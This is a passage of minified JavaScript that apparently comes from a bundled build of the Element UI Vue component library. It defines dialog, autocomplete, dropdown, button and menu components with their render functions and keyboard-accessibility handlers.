\")]):e._e()],1)],1)],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(126),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(127),s=i.n(n),r=i(128),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(14),r=n(s),o=i(9),a=n(o),l=i(1),u=n(l);t.default={name:\"ElDialog\",mixins:[r.default,u.default,a.default],props:{title:{type:String,default:\"\"},modal:{type:Boolean,default:!0},modalAppendToBody:{type:Boolean,default:!0},appendToBody:{type:Boolean,default:!1},lockScroll:{type:Boolean,default:!0},closeOnClickModal:{type:Boolean,default:!0},closeOnPressEscape:{type:Boolean,default:!0},showClose:{type:Boolean,default:!0},width:String,fullscreen:Boolean,customClass:{type:String,default:\"\"},top:{type:String,default:\"15vh\"},beforeClose:Function,center:{type:Boolean,default:!1}},data:function(){return{closed:!1}},watch:{visible:function(e){var t=this;e?(this.closed=!1,this.$emit(\"open\"),this.$el.addEventListener(\"scroll\",this.updatePopper),this.$nextTick(function(){t.$refs.dialog.scrollTop=0}),this.appendToBody&&document.body.appendChild(this.$el)):(this.$el.removeEventListener(\"scroll\",this.updatePopper),this.closed||this.$emit(\"close\"))}},computed:{style:function(){var e={};return this.fullscreen||(e.marginTop=this.top,this.width&&(e.width=this.width)),e}},methods:{getMigratingConfig:function(){return{props:{size:\"size is removed.\"}}},handleWrapperClick:function(){this.closeOnClickModal&&this.handleClose()},handleClose:function(){\"function\"==typeof this.beforeClose?this.beforeClose(this.hide):this.hide()},hide:function(e){!1!==e&&(this.$emit(\"update:visible\",!1),this.$emit(\"close\"),this.closed=!0)},updatePopper:function(){this.broadcast(\"ElSelectDropdown\",\"updatePopper\"),this.broadcast(\"ElDropdownMenu\",\"updatePopper\")},afterEnter:function(){this.$emit(\"opened\")},afterLeave:function(){this.$emit(\"closed\")}},mounted:function(){this.visible&&(this.rendered=!0,this.open(),this.appendToBody&&document.body.appendChild(this.$el))},destroyed:function(){this.appendToBody&&this.$el&&this.$el.parentNode&&this.$el.parentNode.removeChild(this.$el)}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"transition\",{attrs:{name:\"dialog-fade\"},on:{\"after-enter\":e.afterEnter,\"after-leave\":e.afterLeave}},[i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.visible,expression:\"visible\"}],staticClass:\"el-dialog__wrapper\",on:{click:function(t){if(t.target!==t.currentTarget)return null;e.handleWrapperClick(t)}}},[i(\"div\",{ref:\"dialog\",staticClass:\"el-dialog\",class:[{\"is-fullscreen\":e.fullscreen,\"el-dialog--center\":e.center},e.customClass],style:e.style,attrs:{role:\"dialog\",\"aria-modal\":\"true\",\"aria-label\":e.title||\"dialog\"}},[i(\"div\",{staticClass:\"el-dialog__header\"},[e._t(\"title\",[i(\"span\",{staticClass:\"el-dialog__title\"},[e._v(e._s(e.title))])]),e.showClose?i(\"button\",{staticClass:\"el-dialog__headerbtn\",attrs:{type:\"button\",\"aria-label\":\"Close\"},on:{click:e.handleClose}},[i(\"i\",{staticClass:\"el-dialog__close el-icon el-icon-close\"})]):e._e()],2),e.rendered?i(\"div\",{staticClass:\"el-dialog__body\"},[e._t(\"default\")],2):e._e(),e.$slots.footer?i(\"div\",{staticClass:\"el-dialog__footer\"},[e._t(\"footer\")],2):e._e()])])])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(130),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(131),s=i.n(n),r=i(135),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(18),r=n(s),o=i(8),a=n(o),l=i(12),u=n(l),c=i(132),d=n(c),h=i(1),f=n(h),p=i(9),m=n(p),v=i(4),g=i(30),b=n(g);t.default={name:\"ElAutocomplete\",mixins:[f.default,(0,b.default)(\"input\"),m.default],inheritAttrs:!1,componentName:\"ElAutocomplete\",components:{ElInput:a.default,ElAutocompleteSuggestions:d.default},directives:{Clickoutside:u.default},props:{valueKey:{type:String,default:\"value\"},popperClass:String,popperOptions:Object,placeholder:String,clearable:{type:Boolean,default:!1},disabled:Boolean,name:String,size:String,value:String,maxlength:Number,minlength:Number,autofocus:Boolean,fetchSuggestions:Function,triggerOnFocus:{type:Boolean,default:!0},customItem:String,selectWhenUnmatched:{type:Boolean,default:!1},prefixIcon:String,suffixIcon:String,label:String,debounce:{type:Number,default:300},placement:{type:String,default:\"bottom-start\"},hideLoading:Boolean,popperAppendToBody:{type:Boolean,default:!0}},data:function(){return{activated:!1,suggestions:[],loading:!1,highlightedIndex:-1,suggestionDisabled:!1}},computed:{suggestionVisible:function(){var e=this.suggestions;return(Array.isArray(e)&&e.length>0||this.loading)&&this.activated},id:function(){return\"el-autocomplete-\"+(0,v.generateId)()}},watch:{suggestionVisible:function(e){this.broadcast(\"ElAutocompleteSuggestions\",\"visible\",[e,this.$refs.input.$refs.input.offsetWidth])}},methods:{getMigratingConfig:function(){return{props:{\"custom-item\":\"custom-item is removed, use scoped slot instead.\",props:\"props is removed, use value-key instead.\"}}},getData:function(e){var t=this;this.suggestionDisabled||(this.loading=!0,this.fetchSuggestions(e,function(e){t.loading=!1,t.suggestionDisabled||(Array.isArray(e)?t.suggestions=e:console.error(\"[Element Error][Autocomplete]autocomplete suggestions must be an array\"))}))},handleChange:function(e){if(this.$emit(\"input\",e),this.suggestionDisabled=!1,!this.triggerOnFocus&&!e)return this.suggestionDisabled=!0,void(this.suggestions=[]);this.debouncedGetData(e)},handleFocus:function(e){this.activated=!0,this.$emit(\"focus\",e),this.triggerOnFocus&&this.debouncedGetData(this.value)},handleBlur:function(e){this.$emit(\"blur\",e)},handleClear:function(){this.activated=!1,this.$emit(\"clear\")},close:function(e){this.activated=!1},handleKeyEnter:function(e){var t=this;this.suggestionVisible&&this.highlightedIndex>=0&&this.highlightedIndex<this.suggestions.length?(e.preventDefault(),this.select(this.suggestions[this.highlightedIndex])):this.selectWhenUnmatched&&(this.$emit(\"select\",{value:this.value}),this.$nextTick(function(e){t.suggestions=[],t.highlightedIndex=-1}))},select:function(e){var t=this;this.$emit(\"input\",e[this.valueKey]),this.$emit(\"select\",e),this.$nextTick(function(e){t.suggestions=[],t.highlightedIndex=-1})},highlight:function(e){if(this.suggestionVisible&&!this.loading){if(e<0)return void(this.highlightedIndex=-1);e>=this.suggestions.length&&(e=this.suggestions.length-1);var t=this.$refs.suggestions.$el.querySelector(\".el-autocomplete-suggestion__wrap\"),i=t.querySelectorAll(\".el-autocomplete-suggestion__list li\"),n=i[e],s=t.scrollTop,r=n.offsetTop;r+n.scrollHeight>s+t.clientHeight&&(t.scrollTop+=n.scrollHeight),r<s&&(t.scrollTop-=n.scrollHeight),this.highlightedIndex=e,this.$el.querySelector(\".el-input__inner\").setAttribute(\"aria-activedescendant\",this.id+\"-item-\"+this.highlightedIndex)}}},mounted:function(){var e=this;this.debouncedGetData=(0,r.default)(this.debounce,this.getData),this.$on(\"item-click\",function(t){e.select(t)});var t=this.$el.querySelector(\".el-input__inner\");t.setAttribute(\"role\",\"textbox\"),t.setAttribute(\"aria-autocomplete\",\"list\"),t.setAttribute(\"aria-controls\",\"id\"),t.setAttribute(\"aria-activedescendant\",this.id+\"-item-\"+this.highlightedIndex)},beforeDestroy:function(){this.$refs.suggestions.$destroy()}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(133),s=i.n(n),r=i(134),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(11),r=n(s),o=i(1),a=n(o),l=i(26),u=n(l);t.default={components:{ElScrollbar:u.default},mixins:[r.default,a.default],componentName:\"ElAutocompleteSuggestions\",data:function(){return{parent:this.$parent,dropdownWidth:\"\"}},props:{options:{default:function(){return{gpuAcceleration:!1}}},id:String},methods:{select:function(e){this.dispatch(\"ElAutocomplete\",\"item-click\",e)}},updated:function(){var e=this;this.$nextTick(function(t){e.popperJS&&e.updatePopper()})},mounted:function(){this.$parent.popperElm=this.popperElm=this.$el,this.referenceElm=this.$parent.$refs.input.$refs.input,this.referenceList=this.$el.querySelector(\".el-autocomplete-suggestion__list\"),this.referenceList.setAttribute(\"role\",\"listbox\"),this.referenceList.setAttribute(\"id\",this.id)},created:function(){var e=this;this.$on(\"visible\",function(t,i){e.dropdownWidth=i+\"px\",e.showPopper=t})}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"transition\",{attrs:{name:\"el-zoom-in-top\"},on:{\"after-leave\":e.doDestroy}},[i(\"div\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.showPopper,expression:\"showPopper\"}],staticClass:\"el-autocomplete-suggestion el-popper\",class:{\"is-loading\":!e.parent.hideLoading&&e.parent.loading},style:{width:e.dropdownWidth},attrs:{role:\"region\"}},[i(\"el-scrollbar\",{attrs:{tag:\"ul\",\"wrap-class\":\"el-autocomplete-suggestion__wrap\",\"view-class\":\"el-autocomplete-suggestion__list\"}},[!e.parent.hideLoading&&e.parent.loading?i(\"li\",[i(\"i\",{staticClass:\"el-icon-loading\"})]):e._t(\"default\")],2)],1)])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"div\",{directives:[{name:\"clickoutside\",rawName:\"v-clickoutside\",value:e.close,expression:\"close\"}],staticClass:\"el-autocomplete\",attrs:{\"aria-haspopup\":\"listbox\",role:\"combobox\",\"aria-expanded\":e.suggestionVisible,\"aria-owns\":e.id}},[i(\"el-input\",e._b({ref:\"input\",on:{input:e.handleChange,focus:e.handleFocus,blur:e.handleBlur,clear:e.handleClear},nativeOn:{keydown:[function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"up\",38,t.key))return null;t.preventDefault(),e.highlight(e.highlightedIndex-1)},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"down\",40,t.key))return null;t.preventDefault(),e.highlight(e.highlightedIndex+1)},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"enter\",13,t.key))return null;e.handleKeyEnter(t)},function(t){if(!(\"button\"in t)&&e._k(t.keyCode,\"tab\",9,t.key))return null;e.close(t)}]}},\"el-input\",[e.$props,e.$attrs],!1),[e.$slots.prepend?i(\"template\",{attrs:{slot:\"prepend\"},slot:\"prepend\"},[e._t(\"prepend\")],2):e._e(),e.$slots.append?i(\"template\",{attrs:{slot:\"append\"},slot:\"append\"},[e._t(\"append\")],2):e._e(),e.$slots.prefix?i(\"template\",{attrs:{slot:\"prefix\"},slot:\"prefix\"},[e._t(\"prefix\")],2):e._e(),e.$slots.suffix?i(\"template\",{attrs:{slot:\"suffix\"},slot:\"suffix\"},[e._t(\"suffix\")],2):e._e()],2),i(\"el-autocomplete-suggestions\",{ref:\"suggestions\",class:[e.popperClass?e.popperClass:\"\"],attrs:{\"visible-arrow\":\"\",\"popper-options\":e.popperOptions,\"append-to-body\":e.popperAppendToBody,placement:e.placement,id:e.id}},e._l(e.suggestions,function(t,n){return i(\"li\",{key:n,class:{highlighted:e.highlightedIndex===n},attrs:{id:e.id+\"-item-\"+n,role:\"option\",\"aria-selected\":e.highlightedIndex===n},on:{click:function(i){e.select(t)}}},[e._t(\"default\",[e._v(\"\\n        \"+e._s(t[e.valueKey])+\"\\n      \")],{item:t})],2)}))],1)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(137),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(138),s=i.n(n),r=i(0),o=r(s.a,null,!1,null,null,null);t.default=o.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(12),r=n(s),o=i(1),a=n(o),l=i(9),u=n(l),c=i(19),d=n(c),h=i(70),f=n(h),p=i(4);t.default={name:\"ElDropdown\",componentName:\"ElDropdown\",mixins:[a.default,u.default],directives:{Clickoutside:r.default},components:{ElButton:d.default,ElButtonGroup:f.default},provide:function(){return{dropdown:this}},props:{trigger:{type:String,default:\"hover\"},type:String,size:{type:String,default:\"\"},splitButton:Boolean,hideOnClick:{type:Boolean,default:!0},placement:{type:String,default:\"bottom-end\"},visibleArrow:{default:!0},showTimeout:{type:Number,default:250},hideTimeout:{type:Number,default:150}},data:function(){return{timeout:null,visible:!1,triggerElm:null,menuItems:null,menuItemsArray:null,dropdownElm:null,focusing:!1,listId:\"dropdown-menu-\"+(0,p.generateId)()}},computed:{dropdownSize:function(){return this.size||(this.$ELEMENT||{}).size}},mounted:function(){this.$on(\"menu-item-click\",this.handleMenuItemClick),this.initEvent(),this.initAria()},watch:{visible:function(e){this.broadcast(\"ElDropdownMenu\",\"visible\",e),this.$emit(\"visible-change\",e)},focusing:function(e){var t=this.$el.querySelector(\".el-dropdown-selfdefine\");t&&(e?t.className+=\" focusing\":t.className=t.className.replace(\"focusing\",\"\"))}},methods:{getMigratingConfig:function(){return{props:{\"menu-align\":\"menu-align is renamed to placement.\"}}},show:function(){var e=this;this.triggerElm.disabled||(clearTimeout(this.timeout),this.timeout=setTimeout(function(){e.visible=!0},\"click\"===this.trigger?0:this.showTimeout))},hide:function(){var e=this;this.triggerElm.disabled||(this.removeTabindex(),this.resetTabindex(this.triggerElm),clearTimeout(this.timeout),this.timeout=setTimeout(function(){e.visible=!1},\"click\"===this.trigger?0:this.hideTimeout))},handleClick:function(){this.triggerElm.disabled||(this.visible?this.hide():this.show())},handleTriggerKeyDown:function(e){var t=e.keyCode;[38,40].indexOf(t)>-1?(this.removeTabindex(),this.resetTabindex(this.menuItems[0]),this.menuItems[0].focus(),e.preventDefault(),e.stopPropagation()):13===t?this.handleClick():[9,27].indexOf(t)>-1&&this.hide()},handleItemKeyDown:function(e){var t=e.keyCode,i=e.target,n=this.menuItemsArray.indexOf(i),s=this.menuItemsArray.length-1,r=void 0;[38,40].indexOf(t)>-1?(r=38===t?0!==n?n-1:0:n<s?n+1:s,this.removeTabindex(),this.resetTabindex(this.menuItems[r]),this.menuItems[r].focus(),e.preventDefault(),e.stopPropagation()):13===t?(this.triggerElm.focus(),i.click(),this.hideOnClick&&(this.visible=!1)):[9,27].indexOf(t)>-1&&(this.hide(),this.triggerElm.focus())},resetTabindex:function(e){this.removeTabindex(),e.setAttribute(\"tabindex\",\"0\")},removeTabindex:function(){this.triggerElm.setAttribute(\"tabindex\",\"-1\"),this.menuItemsArray.forEach(function(e){e.setAttribute(\"tabindex\",\"-1\")})},initAria:function(){this.dropdownElm.setAttribute(\"id\",this.listId),this.triggerElm.setAttribute(\"aria-haspopup\",\"list\"),this.triggerElm.setAttribute(\"aria-controls\",this.listId),this.menuItems=this.dropdownElm.querySelectorAll(\"[tabindex='-1']\"),this.menuItemsArray=Array.prototype.slice.call(this.menuItems),this.splitButton||(this.triggerElm.setAttribute(\"role\",\"button\"),this.triggerElm.setAttribute(\"tabindex\",\"0\"),this.triggerElm.setAttribute(\"class\",(this.triggerElm.getAttribute(\"class\")||\"\")+\" el-dropdown-selfdefine\"))},initEvent:function(){var e=this,t=this.trigger,i=this.show,n=this.hide,s=this.handleClick,r=this.splitButton,o=this.handleTriggerKeyDown,a=this.handleItemKeyDown;this.triggerElm=r?this.$refs.trigger.$el:this.$slots.default[0].elm;var l=this.dropdownElm=this.$slots.dropdown[0].elm;this.triggerElm.addEventListener(\"keydown\",o),l.addEventListener(\"keydown\",a,!0),r||(this.triggerElm.addEventListener(\"focus\",function(){e.focusing=!0}),this.triggerElm.addEventListener(\"blur\",function(){e.focusing=!1}),this.triggerElm.addEventListener(\"click\",function(){e.focusing=!1})),\"hover\"===t?(this.triggerElm.addEventListener(\"mouseenter\",i),this.triggerElm.addEventListener(\"mouseleave\",n),l.addEventListener(\"mouseenter\",i),l.addEventListener(\"mouseleave\",n)):\"click\"===t&&this.triggerElm.addEventListener(\"click\",s)},handleMenuItemClick:function(e,t){this.hideOnClick&&(this.visible=!1),this.$emit(\"command\",e,t)},focus:function(){this.triggerElm.focus&&this.triggerElm.focus()}},render:function(e){var t=this,i=this.hide,n=this.splitButton,s=this.type,r=this.dropdownSize,o=function(e){t.$emit(\"click\",e),i()},a=n?e(\"el-button-group\",null,[e(\"el-button\",{attrs:{type:s,size:r},nativeOn:{click:o}},[this.$slots.default]),e(\"el-button\",{ref:\"trigger\",attrs:{type:s,size:r},class:\"el-dropdown__caret-button\"},[e(\"i\",{class:\"el-dropdown__icon el-icon-arrow-down\"},[])])]):this.$slots.default;return e(\"div\",{class:\"el-dropdown\",directives:[{name:\"clickoutside\",value:i}]},[a,this.$slots.dropdown])}}},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(140),s=i.n(n),r=i(141),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElButton\",inject:{elForm:{default:\"\"},elFormItem:{default:\"\"}},props:{type:{type:String,default:\"default\"},size:String,icon:{type:String,default:\"\"},nativeType:{type:String,default:\"button\"},loading:Boolean,disabled:Boolean,plain:Boolean,autofocus:Boolean,round:Boolean,circle:Boolean},computed:{_elFormItemSize:function(){return(this.elFormItem||{}).elFormItemSize},buttonSize:function(){return this.size||this._elFormItemSize||(this.$ELEMENT||{}).size},buttonDisabled:function(){return this.disabled||(this.elForm||{}).disabled}},methods:{handleClick:function(e){this.$emit(\"click\",e)}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"button\",{staticClass:\"el-button\",class:[e.type?\"el-button--\"+e.type:\"\",e.buttonSize?\"el-button--\"+e.buttonSize:\"\",{\"is-disabled\":e.buttonDisabled,\"is-loading\":e.loading,\"is-plain\":e.plain,\"is-round\":e.round,\"is-circle\":e.circle}],attrs:{disabled:e.buttonDisabled||e.loading,autofocus:e.autofocus,type:e.nativeType},on:{click:e.handleClick}},[e.loading?i(\"i\",{staticClass:\"el-icon-loading\"}):e._e(),e.icon&&!e.loading?i(\"i\",{class:e.icon}):e._e(),e.$slots.default?i(\"span\",[e._t(\"default\")],2):e._e()])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(143),s=i.n(n),r=i(144),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0,t.default={name:\"ElButtonGroup\"}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"div\",{staticClass:\"el-button-group\"},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(146),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(147),s=i.n(n),r=i(148),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(11),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"ElDropdownMenu\",componentName:\"ElDropdownMenu\",mixins:[s.default],props:{visibleArrow:{type:Boolean,default:!0},arrowOffset:{type:Number,default:0}},data:function(){return{size:this.dropdown.dropdownSize}},inject:[\"dropdown\"],created:function(){var e=this;this.$on(\"updatePopper\",function(){e.showPopper&&e.updatePopper()}),this.$on(\"visible\",function(t){e.showPopper=t})},mounted:function(){this.$parent.popperElm=this.popperElm=this.$el,this.referenceElm=this.$parent.$el},watch:{\"dropdown.placement\":{immediate:!0,handler:function(e){this.currentPlacement=e}}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement,i=e._self._c||t;return i(\"transition\",{attrs:{name:\"el-zoom-in-top\"},on:{\"after-leave\":e.doDestroy}},[i(\"ul\",{directives:[{name:\"show\",rawName:\"v-show\",value:e.showPopper,expression:\"showPopper\"}],staticClass:\"el-dropdown-menu el-popper\",class:[e.size&&\"el-dropdown-menu--\"+e.size]},[e._t(\"default\")],2)])},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(150),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(151),s=i.n(n),r=i(152),o=i(0),a=o(s.a,r.a,!1,null,null,null);t.default=a.exports},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(1),s=function(e){return e&&e.__esModule?e:{default:e}}(n);t.default={name:\"ElDropdownItem\",mixins:[s.default],props:{command:{},disabled:Boolean,divided:Boolean},methods:{handleClick:function(e){this.dispatch(\"ElDropdown\",\"menu-item-click\",[this.command,this])}}}},function(e,t,i){\"use strict\";var n=function(){var e=this,t=e.$createElement;return(e._self._c||t)(\"li\",{staticClass:\"el-dropdown-menu__item\",class:{\"is-disabled\":e.disabled,\"el-dropdown-menu__item--divided\":e.divided},attrs:{\"aria-disabled\":e.disabled,tabindex:e.disabled?null:-1},on:{click:e.handleClick}},[e._t(\"default\")],2)},s=[],r={render:n,staticRenderFns:s};t.a=r},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(154),s=function(e){return e&&e.__esModule?e:{default:e}}(n);s.default.install=function(e){e.component(s.default.name,s.default)},t.default=s.default},function(e,t,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var n=i(155),s=i.n(n),r=i(0),o=r(s.a,null,!1,null,null,null);t.default=o.exports},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(1),r=n(s),o=i(9),a=n(o),l=i(156),u=n(l),c=i(5);t.default={name:\"ElMenu\",render:function(e){var t=e(\"ul\",{attrs:{role:\"menubar\"},key:+this.collapse,style:{backgroundColor:this.backgroundColor||\"\"},class:{\"el-menu--horizontal\":\"horizontal\"===this.mode,\"el-menu--collapse\":this.collapse,\"el-menu\":!0}},[this.$slots.default]);return this.collapseTransition?e(\"el-menu-collapse-transition\",null,[t]):t},componentName:\"ElMenu\",mixins:[r.default,a.default],provide:function(){return{rootMenu:this}},components:{\"el-menu-collapse-transition\":{functional:!0,render:function(e,t){return e(\"transition\",{props:{mode:\"out-in\"},on:{beforeEnter:function(e){e.style.opacity=.2},enter:function(e){(0,c.addClass)(e,\"el-opacity-transition\"),e.style.opacity=1},afterEnter:function(e){(0,c.removeClass)(e,\"el-opacity-transition\"),e.style.opacity=\"\"},beforeLeave:function(e){e.dataset||(e.dataset={}),(0,c.hasClass)(e,\"el-menu--collapse\")?((0,c.removeClass)(e,\"el-menu--collapse\"),e.dataset.oldOverflow=e.style.overflow,e.dataset.scrollWidth=e.clientWidth,(0,c.addClass)(e,\"el-menu--collapse\")):((0,c.addClass)(e,\"el-menu--collapse\"),e.dataset.oldOverflow=e.style.overflow,e.dataset.scrollWidth=e.clientWidth,(0,c.removeClass)(e,\"el-menu--collapse\")),e.style.width=e.scrollWidth+\"px\",e.style.overflow=\"hidden\"},leave:function(e){(0,c.addClass)(e,\"horizontal-collapse-transition\"),e.style.width=e.dataset.scrollWidth+\"px\"}}},t.children)}}},props:{mode:{type:String,default:\"vertical\"},defaultActive:{type:String,default:\"\"},defaultOpeneds:Array,uniqueOpened:Boolean,router:Boolean,menuTrigger:{type:String,default:\"hover\"},collapse:Boolean,backgroundColor:String,textColor:String,activeTextColor:String,collapseTransition:{type:Boolean,default:!0}},data:function(){return{activeIndex:this.defaultActive,openedMenus:this.defaultOpeneds&&!this.collapse?this.defaultOpeneds.slice(0):[],items:{},submenus:{}}},computed:{hoverBackground:function(){return this.backgroundColor?this.mixColor(this.backgroundColor,.2):\"\"},isMenuPopup:function(){return\"horizontal\"===this.mode||\"vertical\"===this.mode&&this.collapse}},watch:{defaultActive:\"updateActiveIndex\",defaultOpeneds:function(e){this.collapse||(this.openedMenus=e)},collapse:function(e){e&&(this.openedMenus=[]),this.broadcast(\"ElSubmenu\",\"toggle-collapse\",e)}},methods:{updateActiveIndex:function(e){var t=this.items[e]||this.items[this.activeIndex]||this.items[this.defaultActive];t?(this.activeIndex=t.index,this.initOpenedMenu()):this.activeIndex=null},getMigratingConfig:function(){return{props:{theme:\"theme is removed.\"}}},getColorChannels:function(e){if(e=e.replace(\"#\",\"\"),/^[0-9a-fA-F]{3}$/.test(e)){e=e.split(\"\");for(var t=2;t>=0;t--)e.splice(t,0,e[t]);e=e.join(\"\")}return/^[0-9a-fA-F]{6}$/.test(e)?{red:parseInt(e.slice(0,2),16),green:parseInt(e.slice(2,4),16),blue:parseInt(e.slice(4,6),16)}:{red:255,green:255,blue:255}},mixColor:function(e,t){var i=this.getColorChannels(e),n=i.red,s=i.green,r=i.blue;return t>0?(n*=1-t,s*=1-t,r*=1-t):(n+=(255-n)*t,s+=(255-s)*t,r+=(255-r)*t),\"rgb(\"+Math.round(n)+\", \"+Math.round(s)+\", \"+Math.round(r)+\")\"},addItem:function(e){this.$set(this.items,e.index,e)},removeItem:function(e){delete this.items[e.index]},addSubmenu:function(e){this.$set(this.submenus,e.index,e)},removeSubmenu:function(e){delete this.submenus[e.index]},openMenu:function(e,t){var i=this.openedMenus;-1===i.indexOf(e)&&(this.uniqueOpened&&(this.openedMenus=i.filter(function(e){return-1!==t.indexOf(e)})),this.openedMenus.push(e))},closeMenu:function(e){var t=this.openedMenus.indexOf(e);-1!==t&&this.openedMenus.splice(t,1)},handleSubmenuClick:function(e){var t=e.index,i=e.indexPath;-1!==this.openedMenus.indexOf(t)?(this.closeMenu(t),this.$emit(\"close\",t,i)):(this.openMenu(t,i),this.$emit(\"open\",t,i))},handleItemClick:function(e){var t=this,i=e.index,n=e.indexPath,s=this.activeIndex;this.activeIndex=e.index,this.$emit(\"select\",i,n,e),(\"horizontal\"===this.mode||this.collapse)&&(this.openedMenus=[]),this.router&&this.routeToItem(e,function(e){t.activeIndex=s,e&&console.error(e)})},initOpenedMenu:function(){var e=this,t=this.activeIndex,i=this.items[t];if(i&&\"horizontal\"!==this.mode&&!this.collapse){i.indexPath.forEach(function(t){var i=e.submenus[t];i&&e.openMenu(t,i.indexPath)})}},routeToItem:function(e,t){var i=e.route||e.index;try{this.$router.push(i,function(){},t)}catch(e){console.error(e)}},open:function(e){var t=this,i=this.submenus[e.toString()].indexPath;i.forEach(function(e){return t.openMenu(e,i)})},close:function(e){this.closeMenu(e)}},mounted:function(){this.initOpenedMenu(),this.$on(\"item-click\",this.handleItemClick),this.$on(\"submenu-click\",this.handleSubmenuClick),\"horizontal\"===this.mode&&new u.default(this.$el),this.$watch(\"items\",this.updateActiveIndex)}}},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(157),s=function(e){return e&&e.__esModule?e:{default:e}}(n),r=function(e){this.domNode=e,this.init()};r.prototype.init=function(){var e=this.domNode.childNodes;[].filter.call(e,function(e){return 1===e.nodeType}).forEach(function(e){new s.default(e)})},t.default=r},function(e,t,i){\"use strict\";function n(e){return e&&e.__esModule?e:{default:e}}t.__esModule=!0;var s=i(46),r=n(s),o=i(158),a=n(o),l=function(e){this.domNode=e,this.submenu=null,this.init()};l.prototype.init=function(){this.domNode.setAttribute(\"tabindex\",\"0\");var e=this.domNode.querySelector(\".el-menu\");e&&(this.submenu=new a.default(this,e)),this.addListeners()},l.prototype.addListeners=function(){var e=this,t=r.default.keys;this.domNode.addEventListener(\"keydown\",function(i){var n=!1;switch(i.keyCode){case t.down:r.default.triggerEvent(i.currentTarget,\"mouseenter\"),e.submenu&&e.submenu.gotoSubIndex(0),n=!0;break;case t.up:r.default.triggerEvent(i.currentTarget,\"mouseenter\"),e.submenu&&e.submenu.gotoSubIndex(e.submenu.subMenuItems.length-1),n=!0;break;case t.tab:r.default.triggerEvent(i.currentTarget,\"mouseleave\");break;case t.enter:case t.space:n=!0,i.currentTarget.click()}n&&i.preventDefault()})},t.default=l},function(e,t,i){\"use strict\";t.__esModule=!0;var n=i(46),s=function(e){return e&&e.__esModule?e:{default:e}}(n),r=function(e,t){this.domNode=t,this.parent=e,this.subMenuItems=[],this.subIndex=0,this.init()};r.prototype.init=function(){this.subMenuItems=this.domNode.querySelectorAll(\"li\"),this.addListeners()},r.prototype.gotoSubIndex=function(e){e===this.subMenuItems.length?e=0:e<0&&(e=this.subMenuItems.length-1),this.subMenuItems[e].focus(),this.subIndex=e},r.prototype.addListeners=function(){var e=this,t=s.default.keys,i=this.parent.domNode;Array.prototype.forEach.call(this.subMenuItems,function(n){n.addEventListener(\"keydown\",function(n){var r=!1;switch(n.keyCode){case t.down:e.gotoSubIndex(e.subIndex+1),r=!0;break;case 